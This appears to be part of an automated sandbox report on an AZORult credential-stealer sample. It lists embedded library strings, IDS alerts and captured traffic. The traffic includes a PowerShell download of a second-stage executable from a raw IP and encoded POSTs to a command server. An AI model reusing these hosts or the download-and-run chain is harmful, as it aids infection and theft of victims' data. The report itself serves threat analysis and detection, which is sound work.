Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780924523.0000000003DA0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: msvcp140.i386.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.4.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.4.dr
Source:	Binary string: ucrtbase.pdbUGP source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.4.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.4.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.4.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.4.dr
Source:	Binary string: vcruntime140.i386.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.4.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.4.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.4.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.4.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.4:49733 -> 104.21.14.133:80
Source: Network traffic	Suricata IDS: 2810276 - Severity 1 - ETPRO MALWARE AZORult CnC Beacon M1 : 192.168.2.4:49733 -> 104.21.14.133:80
Source: Network traffic	Suricata IDS: 2029136 - Severity 1 - ET MALWARE AZORult v3.3 Server Response M1 : 104.21.14.133:80 -> 192.168.2.4:49733
Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.4:49737 -> 104.21.14.133:80

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 8030
Source: unknown	Network traffic detected: HTTP traffic on port 8030 -> 49732

Source: global traffic

TCP traffic: 192.168.2.4:49732 -> 217.160.121.141:8030

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE

Source: global traffic	HTTP traffic detected: GET /5643254657/Order-63729r.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 217.160.121.141:8030Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ML341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: h8m5b.shopContent-Length: 107Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 6d ef 47 70 9d 3b 70 9d 35 70 9d 34 70 9d 3b 13 8b 31 11 ec 26 66 9a 26 66 9f 26 66 9e 40 70 9d 3b 70 9d 35 70 9d 34 70 9c 47 70 9d 35 11 ed 40 70 9d 30 17 8b 30 67 8b 30 62 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410mGp;p5p4p;1&f&f&f@p;p5p4pGp5@p00g0b
Source: global traffic	HTTP traffic detected: POST /ML341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: h8m5b.shopContent-Length: 46480Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141
Source: unknown	TCP traffic detected without corresponding DNS query: 217.160.121.141

Source: global traffic

HTTP traffic detected: GET /5643254657/Order-63729r.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 217.160.121.141:8030Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: h8m5b.shop

Source: unknown

HTTP traffic detected: POST /ML341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: h8m5b.shopContent-Length: 107Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 6d ef 47 70 9d 3b 70 9d 35 70 9d 34 70 9d 3b 13 8b 31 11 ec 26 66 9a 26 66 9f 26 66 9e 40 70 9d 3b 70 9d 35 70 9d 34 70 9c 47 70 9d 35 11 ed 40 70 9d 30 17 8b 30 67 8b 30 62 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410mGp;p5p4p;1&f&f&f@p;p5p4pGp5@p00g0b

Source: powershell.exe, 00000001.00000002.1675302087.0000000004B49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.160.121.141:8030
Source: mshta.exe, 00000000.00000002.2870687040.00000000004B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://217.160.121.141:8030/5643254657/Order-63729r.e$
Source: powershell.exe, 00000001.00000002.1675302087.0000000004F35000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1674401860.0000000000892000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1675302087.0000000004A76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1674217504.00000000007E8000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.hta	String found in binary or memory: http://217.160.121.141:8030/5643254657/Order-63729r.exe
Source: powershell.exe, 00000001.00000002.1675099699.00000000043E0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1680446730.0000000008380000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1678357828.0000000006DA4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1674043907.00000000003E0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1674401860.0000000000892000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1674217504.00000000007E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://217.160.121.141:8030/5643254657/Order-63729r.exe-OutFileC:
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: powershell.exe, 00000001.00000002.1674401860.00000000008D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microTGYU#
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: svchost.exe, 00000003.00000002.2872449129.0000015B7E200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: svchost.exe, 00000003.00000003.1652667632.0000015B7E458000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000003.00000003.1652667632.0000015B7E458000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000003.00000003.1652667632.0000015B7E458000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000003.00000003.1652667632.0000015B7E48D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.3.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/
Source: Order160311_Reference.exe, 00000004.00000003.1781222380.00000000020A0000.00000004.00001000.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781559979.000000000070E000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/ML341/index.php
Source: Order160311_Reference.exe, 00000004.00000003.1781222380.00000000020A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/ML341/index.phpAx
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/ML341/index.phpB
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000724000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/ML341/index.phpVersion
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/ML341/index.phpd
Source: Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/ML341/index.phpl
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/ML341/index.phpp
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/ML341/index.phpv
Source: Order160311_Reference.exe, 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Order160311_Reference.exe.1.dr	String found in binary or memory: http://ip-api.com/json
Source: powershell.exe, 00000001.00000002.1677554643.000000000598D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000001.00000002.1675302087.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1675302087.0000000004921000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: powershell.exe, 00000001.00000002.1675302087.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: mozglue.dll.4.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: http://www.mozilla.com0
Source: Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000001.00000002.1675302087.0000000004921000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737466602.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000001.00000002.1677554643.000000000598D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1677554643.000000000598D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1677554643.000000000598D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: Order160311_Reference.exe, 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Order160311_Reference.exe.1.dr	String found in binary or memory: https://dotbit.me/a/
Source: Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
